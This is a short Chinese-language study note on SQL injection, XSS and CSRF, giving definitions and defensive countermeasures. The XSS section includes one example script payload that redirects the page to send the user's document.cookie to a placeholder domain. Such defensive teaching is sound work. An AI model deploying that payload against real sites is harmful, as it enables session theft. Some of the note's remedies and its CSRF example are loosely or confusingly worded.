1. SQL注入
直接在SQL里执行了用户输入。
解决方案:
- 输入验证,检查用户输入的合法性。
- 错误消息处理,防范SQL注入,还要避免出现一些详细的错误消息。
- 加密处理。
2. XSS漏洞(跨站脚本攻击)
定义:在HTML里代码执行了用户输入。
例子:
恶意攻击者往Web页面里注入恶意Script代码,用户浏览这些网页时,就会执行其中的恶意代码,可对用户进行盗取cookie信息、会话劫持等各种攻击。
><script>window.location.href='MyDomain.com?cookie=' + document.cookie</script>;
解决方案:
- 将重要的cookie标记为http only,这样的话 Javascript 中的 document.cookie 语句就不能获取到 cookie 了.
- 只允许用户输入我们期望的数据。例如:年龄的textbox中,只允许用户输入数字。而数字之外的字符都过滤掉。
- 对数据进行Html Encode 处理。
- 过滤或移除特殊的Html标签, 例如:
<script>
,<iframe>
, " for - 过滤JavaScript 事件的标签。例如 "οnclick=", "onfocus" 等等。
- CSP,原理其实就是白名单机制,开发者明确告诉客户端(浏览器)哪些资源可以加载并执行,我们只需要提供配置,其他的工作由客户端(浏览器)来完成。通过
<meta>
标签开启<meta http-equiv="Content-Security-Policy" content="配置项" >
3. CSRF攻击(跨站请求伪造)
定义:伪造请求,冒充用户在站内的正常操作。
例子:受害者用户登录网站 A,输入个人信息,在本地保存服务器生成的 cookie。然后在 A 网站点击由攻击者构建一条恶意链接跳转到 B 网站,然后B网站携带着的用户 cookie 信息去访问B网站.让A网站造成是用户自己访问的假相,从而来进行一些列的操作,常见的就是交易转账。
解决方案:通过session token来实现保护。
1.在关键业务点设置验证码验证。
2.在HTTP 请求中以参数的形式加入一个随机产生的token,并在服务器建立一个拦截器来验证这个token。服务器读取浏览器当前域cookie中这个token值,会进行校验该请求当中的token和cookie当中的token值是否都存在且相等,才认为这是合法的请求。否则认为这次请求是违法的,拒绝该次服务。
3.通过检查一下两个 header:Origin Header、Referer Header